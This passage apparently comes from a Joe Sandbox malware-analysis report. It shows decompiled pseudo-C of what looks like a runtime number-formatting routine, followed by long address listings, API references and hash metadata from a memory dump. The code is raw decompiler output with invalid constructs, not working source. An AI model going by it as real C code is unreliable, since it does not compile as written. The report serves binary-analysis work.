																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xe:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																}
															case 8:
																L21:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L24;
															case 9:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L24;
															case 0xa:
																L20:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xb:
																L19:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L24;
															case 0xc:
																L23:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xd:
																L24:
																goto L209;
														}
													}
													L210:
													 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
													E0041ACC0(_t524 - 0x40);
													_t478 =  *(_t524 - 0x2ec);
													goto L211;
												}
											}
											L178:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L180:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L181;
											}
											L179:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L181;
											}
											goto L180;
										}
										L174:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2b4);
										__edx =  *(__ebp - 0x2b8);
										__eax = E00430630( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
										 *(__ebp - 0x2a4) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2b4);
										__ecx =  *(__ebp - 0x2b8);
										 *(__ebp - 0x2b8) = E004306B0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2b4) = __edx;
										__eflags =  *(__ebp - 0x2a4) - 0x39;
										if( *(__ebp - 0x2a4) > 0x39) {
											__edx =  *(__ebp - 0x2a4);
											__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2a4) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2a4);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										goto L173;
									}
								}
								L159:
								__eflags =  *(__ebp - 0x2b0);
								if( *(__ebp - 0x2b0) >= 0) {
									goto L161;
								}
								goto L160;
								L161:
								__ecx =  *(__ebp - 0x2b0);
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
								__edx =  *(__ebp - 0x2ac);
								 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
								goto L162;
							}
						}
					}
				}
			}

0x00427bd5
0x00427bd5
0x00427bd5
0x00427bd5
0x00427bdc
0x00427bdc
0x00427bdc
0x00427bf2
0x00427bf2
0x00427bf2
0x00427bfc
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00427d19
0x00427d19
0x00427d20
0x00000000
0x00000000
0x00427d22
0x00427d22
0x00427d2d
0x00427d33
0x00427d35
0x00427d3b
0x00427d3e
0x00427d40
0x00427d46
0x00427d4f
0x00427d54
0x00427d71
0x00427d74
0x00427d74
0x00427d79
0x00427d7e
0x00427d7e
0x00427d84
0x00427d86
0x00427d8c
0x00427d92
0x00427d92
0x00427d9b
0x00427d9b
0x00427d84
0x00427da1
0x00427da5
0x00427db3
0x00427db6
0x00427db9
0x00427dc0
0x00427dc2
0x00427dc2
0x00427da7
0x00427da7
0x00427da7
0x00427dcf
0x00427dcf
0x00427dd5
0x00427dd7
0x00427dd7
0x00427dde
0x00427de1
0x00427de4
0x00427de4
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00427df4
0x00427dfa
0x00427dfa
0x00427e00
0x00427e7d
0x00427e80
0x00427e83
0x00427e86
0x00427e89
0x00427e8c
0x00427e92
0x00427e92
0x00427e98
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00427ecd
0x00427ed0
0x00427ed0
0x00427ed3
0x00427ed8
0x00427ed8
0x00427edd
0x00427eef
0x00427eef
0x00427ef2
0x00427f04
0x00427f04
0x00427f07
0x00427f09
0x00427f0d
0x00427f0d
0x00427ef4
0x00427ef4
0x00427ef8
0x00427ef8
0x00427edf
0x00427edf
0x00427ee3
0x00427ee3
0x00427edd
0x00427f17
0x00427f1a
0x00427f1d
0x00427f26
0x00427f26
0x00427f29
0x00427f2b
0x00427f32
0x00427f36
0x00427f3f
0x00427f44
0x00427f47
0x00427f4e
0x00427f52
0x00427f56
0x00427f62
0x00427f65
0x00427f65
0x00427f68
0x00427f6d
0x00427f6d
0x00427f70
0x00427f72
0x00427f79
0x00427f7d
0x00427f86
0x00427f8b
0x00427f70
0x00427f8e
0x00427f92
0x00428066
0x00428066
0x0042806d
0x00428071
0x00428075
0x00428079
0x00000000
0x00427f98
0x00427f98
0x00427f98
0x00427f9c
0x00000000
0x00000000
0x00427fa2
0x00427fa2
0x00427fac
0x00427faf
0x00427fb5
0x00427fb8
0x00427fbe
0x00427fbe
0x00427fbe
0x00427fca
0x00427fcd
0x00427fd3
0x00427fd5
0x00000000
0x00000000
0x00427fdb
0x00427fdb
0x00427fe4
0x00427feb
0x00427ff5
0x00427ffc
0x0042800b
0x00428017
0x0042801a
0x00428020
0x00428027
0x00428032
0x00428032
0x00000000
0x00428032
0x00428029
0x00428029
0x00428030
0x0042803e
0x0042803e
0x00428045
0x00428049
0x00428057
0x00000000
0x0042805c
0x00000000
0x00428030
0x00428064
0x00428081
0x00428081
0x00428088
0x0042808d
0x0042808d
0x00428090
0x00428092
0x00428099
0x0042809d
0x004280a6
0x004280ab
0x00428090
0x00428088
0x004280ae
0x004280ae
0x004280b2
0x004280ba
0x004280c2
0x004280c2
0x004280c9
0x004280c9
0x0042724f
0x00427262
0x00427267
0x00000000
0x0042727a
0x00427284
0x004272ab
0x00427292
0x004272a3
0x004272a3
0x00427284
0x004272b5
0x004272bb
0x004272cd
0x004272d8
0x004272e4
0x004272f1
0x00000000
0x00000000
0x004272f7
0x004272fd
0x00000000
0x00427304
0x00427304
0x0042731c
0x00427321
0x00427326
0x004273e0
0x004273f3
0x004273f8
0x00000000
0x0042732c
0x0042733f
0x00427344
0x0042734a
0x0042734c
0x00427355
0x00427358
0x00427364
0x00427368
0x0042736e
0x00427370
0x00427375
0x00427377
0x0042737c
0x00427381
0x00427383
0x00427388
0x0042738e
0x00427390
0x00427390
0x0042738e
0x00427391
0x00427398
0x00000000
0x0042739a
0x0042739f
0x004273bb
0x004273c3
0x004273d0
0x004273d5
0x00000000
0x004273d5
0x00427398
0x00000000
0x00427400
0x00427400
0x00427407
0x0042740a
0x0042740d
0x00427410
0x00427413
0x00427416
0x00427419
0x00427420
0x00427427
0x00000000
0x00000000
0x00427433
0x00427433
0x0042743a
0x00427446
0x00427449
0x0042744f
0x00427456
0x00000000
0x00000000
0x00427458
0x00427458
0x0042745e
0x0042745e
0x00427465
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004274a8
0x004274a8
0x004274af
0x004274b2
0x004274dc
0x004274df
0x004274df
0x004274e2
0x004274e9
0x004274e9
0x004274ed
0x004274b4
0x004274b4
0x004274c0
0x004274c3
0x004274c7
0x004274c9
0x004274cc
0x004274cc
0x004274cf
0x004274d5
0x004274d7
0x004274d7
0x004274da
0x004274f0
0x00000000
0x00000000
0x004274f5
0x004274f5
0x00000000
0x00000000
0x00427501
0x00427501
0x00427508
0x0042750b
0x0042752b
0x0042752e
0x0042752e
0x00427538
0x00427538
0x0042753c
0x0042750d
0x0042750d
0x00427519
0x0042751c
0x00427520
0x00427522
0x00427522
0x00427529
0x00000000
0x00000000
0x00427544
0x00427544
0x0042754b
0x00427557
0x0042755a
0x00427560
0x00427567
0x0042767a
0x00000000
0x0042767a
0x0042756d
0x0042756d
0x00427573
0x00427573
0x0042757a
0x00000000
0x004275b0
0x004275b0
0x004275b3
0x004275b6
0x004275b9
0x004275e1
0x004275e1
0x004275e4
0x004275e7
0x004275ea
0x0042760f
0x0042760f
0x00427612
0x00427615
0x00427618
0x00427651
0x00427662
0x00000000
0x00427662
0x0042761a
0x0042761a
0x0042761d
0x00427620
0x00427623
0x00000000
0x00000000
0x00427625
0x00427625
0x00427628
0x0042762b
0x0042762e
0x00000000
0x00000000
0x00427630
0x00427630
0x00427633
0x00427636
0x00427639
0x00000000
0x00000000
0x0042763b
0x0042763b
0x0042763e
0x00427641
0x00427644
0x00000000
0x00000000
0x00427646
0x00427646
0x00427649
0x0042764c
0x0042764f
0x00427653
0x00000000
0x00427653
0x00000000
0x0042764f
0x004275ec
0x004275ec
0x004275ef
0x004275f3
0x004275f6
0x00000000
0x004275f8
0x004275fb
0x004275fe
0x00427601
0x00427604
0x0042760a
0x00000000
0x0042760a
0x004275f6
0x004275bb
0x004275bb
0x004275be
0x004275c2
0x004275c5
0x00000000
0x004275c7
0x004275ca
0x004275cd
0x004275d0
0x004275d3
0x004275d9
0x00000000
0x004275d9
0x00000000
0x00427664
0x00427667
0x0042766a
0x00000000
0x00000000
0x00427581
0x00427581
0x00427584
0x00427587
0x0042758a
0x004275a2
0x004275a5
0x004275a5
0x004275a8
0x0042758c
0x0042758f
0x00427592
0x00427598
0x0042759d
0x0042759d
0x00000000
0x00000000
0x0042766f
0x0042766f
0x00427672
0x00427672
0x00427677
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042767f
0x0042767f
0x00427686
0x00427692
0x00427695
0x0042769b
0x004276a2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x004276a8
0x004276ae
0x004276ae
0x004276b5
0x00000000
0x00427a0f
0x00427a0f
0x00427a16
0x00427a1d
0x00427a1d
0x00427a20
0x00000000
0x00000000
0x004276bc
0x004276bf
0x004276bf
0x004276c5
0x004276c7
0x004276ca
0x004276ca
0x004276cf
0x004276cf
0x00000000
0x00000000
0x004277fc
0x004277ff
0x004277ff
0x00427804
0x00427806
0x00427809
0x00427809
0x0042780f
0x0042780f
0x00000000
0x00000000
0x00427bdc
0x00427bdc
0x00000000
0x00000000
0x00427766
0x00427766
0x00427772
0x00427778
0x0042777f
0x0042778d
0x0042778d
0x00427793
0x00427796
0x004277a2
0x004277f7
0x00000000
0x004277f7
0x00427781
0x00427781
0x00427787
0x0042778b
0x004277a7
0x004277aa
0x004277aa
0x004277b0
0x004277d8
0x004277df
0x004277e5
0x004277e8
0x004277eb
0x004277f1
0x004277f4
0x004277b2
0x004277b2
0x004277b8
0x004277bb
0x004277be
0x004277c4
0x004277c7
0x004277ca
0x004277cc
0x004277cf
0x004277cf
0x00000000
0x004277b0
0x00000000
0x00000000
0x00427a26
0x00427a29
0x00427a2c
0x00427a2f
0x00427a35
0x00427a38
0x00427a3f
0x00427a43
0x00427a4e
0x00427a4e
0x00427a52
0x00427a69
0x00427a69
0x00427a70
0x00427a72
0x00427a72
0x00427a79
0x00427a79
0x00427a80
0x00427a91
0x00427aa0
0x00427aa3
0x00427aa7
0x00427abd
0x00427aa9
0x00427aa9
0x00427aac
0x00427ab2
0x00427ab8
0x00427ab8
0x00427aa7
0x00427ac7
0x00427aca
0x00427acd
0x00427ad0
0x00427ad0
0x00427ad3
0x00427ad3
0x00427ad6
0x00427adc
0x00427ae2
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427afa
0x00427afb
0x00427afe
0x00427aff
0x00427b02
0x00427b03
0x00427b09
0x00427b0a
0x00427b18
0x00427b1a
0x00427b20
0x00427b20
0x00427b26
0x00427b28
0x00427b2c
0x00427b2e
0x00427b36
0x00427b37
0x00427b3a
0x00427b3b
0x00427b49
0x00427b4b
0x00427b4b
0x00427b2c
0x00427b4e
0x00427b55
0x00427b58
0x00427b5d
0x00427b5d
0x00427b63
0x00427b65
0x00427b6d
0x00427b6e
0x00427b71
0x00427b72
0x00427b81
0x00427b83
0x00427b83
0x00427b63
0x00427b86
0x00427b89
0x00427b8c
0x00427b8f
0x00427b94
0x00427b9a
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba3
0x00427ba3
0x00427ba6
0x00427bb2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00427ec3
0x00427a54
0x00427a54
0x00427a5b
0x00427a5e
0x00000000
0x00000000
0x00427a60
0x00427a60
0x00000000
0x00427a60
0x00427a45
0x00427a45
0x00000000
0x00000000
0x004276d2
0x004276d5
0x004276d5
0x004276db
0x00427732
0x00427736
0x0042773e
0x00427745
0x0042774b
0x00427751
0x00427758
0x00427758
0x0042775e
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x004276dd
0x004276dd
0x004276e7
0x004276eb
0x004276f3
0x004276fa
0x00427707
0x0042770e
0x0042771a
0x00427720
0x00427727
0x00427729
0x00427729
0x00427730
0x00000000
0x00000000
0x00427bba
0x00427bbd
0x00427bc0
0x00427bc3
0x00000000
0x00000000
0x00427918
0x00427918
0x00427924
0x0042792a
0x0042792f
0x00427931
0x004279db
0x004279de
0x004279de
0x004279e1
0x004279f5
0x004279fb
0x00427a01
0x004279e3
0x004279e3
0x004279f0
0x004279f0
0x00427a03
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00427937
0x00427937
0x00427937
0x00427939
0x00427947
0x0042793b
0x0042793b
0x0042793b
0x00427951
0x00427957
0x0042795d
0x00427964
0x00427966
0x0042796b
0x0042796d
0x00427972
0x00427977
0x00427979
0x0042797e
0x00427981
0x00427984
0x00427986
0x00427986
0x00427984
0x00427987
0x0042798e
0x004279d6
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427990
0x00427990
0x00427995
0x004279b1
0x004279b9
0x004279c3
0x004279c6
0x004279cb
0x004280e8
0x004280f5
0x004280f5
0x00000000
0x00427c1d
0x00427c1d
0x00427c27
0x00427c27
0x00427c2d
0x00427c2f
0x00427c32
0x00427c32
0x00427c38
0x00427c38
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427812
0x00427812
0x00427816
0x00427824
0x00427827
0x00427818
0x00427818
0x00427818
0x0042782d
0x00427833
0x00427839
0x00427845
0x0042784b
0x0042784b
0x00427851
0x004278b8
0x004278b8
0x004278bc
0x004278be
0x004278c4
0x004278c4
0x004278c7
0x004278ca
0x004278d0
0x004278d0
0x004278d0
0x004278dc
0x004278df
0x004278e5
0x004278e7
0x00000000
0x00000000
0x004278e9
0x004278e9
0x004278ef
0x004278f2
0x004278f4
0x00000000
0x00000000
0x004278f6
0x004278fc
0x004278ff
0x004278ff
0x00427907
0x00427907
0x0042790d
0x0042790d
0x00427910
0x00000000
0x00427853
0x00427853
0x00427853
0x00427857
0x00427859
0x0042785e
0x0042785e
0x00427861
0x00427868
0x0042786b
0x00427871
0x00427871
0x00427871
0x0042787d
0x00427880
0x00427886
0x00427888
0x00000000
0x00000000
0x0042788a
0x0042788a
0x00427890
0x00427893
0x00427895
0x00000000
0x00000000
0x00427897
0x0042789d
0x004278a0
0x004278a0
0x004278a8
0x004278ae
0x004278b1
0x004278b3
0x00427913
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00000000
0x00427bcc
0x00427bcc
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00427be8
0x00427be8
0x00427bf2
0x00427bf2
0x00427bfc
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00000000
0x00427482
0x00427485
0x00427488
0x00000000
0x00000000
0x0042748d
0x00427490
0x00427495
0x00000000
0x00000000
0x00427477
0x00427477
0x0042747a
0x0042747d
0x00000000
0x00000000
0x0042746c
0x0042746f
0x00427472
0x00000000
0x00000000
0x0042749a
0x0042749a
0x0042749d
0x0042749d
0x004274a0
0x00000000
0x00000000
0x004274a3
0x00000000
0x00000000
0x004272fd
0x004280ce
0x004280d4
0x004280dd
0x004280e2
0x00000000
0x004280e2
0x00427ec3
0x00427e9a
0x00427e9a
0x00427e9e
0x00427eab
0x00427eae
0x00427eb1
0x00427eb4
0x00427eb7
0x00427eba
0x00427ebd
0x00427ebd
0x00427ec0
0x00000000
0x00427ec0
0x00427ea0
0x00427ea0
0x00427ea3
0x00427ea6
0x00427ea9
0x00000000
0x00000000
0x00000000
0x00427ea9
0x00427e02
0x00427e02
0x00427e05
0x00427e08
0x00427e0f
0x00427e16
0x00427e1e
0x00427e24
0x00427e27
0x00427e2a
0x00427e31
0x00427e3d
0x00427e43
0x00427e49
0x00427e50
0x00427e52
0x00427e58
0x00427e58
0x00427e5e
0x00427e5e
0x00427e64
0x00427e67
0x00427e6d
0x00427e72
0x00427e75
0x00427de4
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00000000
0x00427df2
0x00427de4
0x00427d24
0x00427d24
0x00427d2b
0x00000000
0x00000000
0x00000000
0x00427d59
0x00427d59
0x00427d5f
0x00427d65
0x00427d6b
0x00000000
0x00427d6b
0x00427c3b
0x00427bf2
0x00427bdc

APIs

_get_int64_arg.LIBCMTD ref: 00427C49
__aullrem.LIBCMT ref: 00427E16
__aulldiv.LIBCMT ref: 00427E38

Strings

0, xrefs: 00427C04
9, xrefs: 00427E49

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 2471f579cd81ac27eb6d09b49e800896fb655238f9a9adaa9569eaee7e088a04
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 8C4104B1E18629CFDB64CF58D889BAEBBB5BF84300F5085DAD049A7245C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C269, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C269(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428200(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
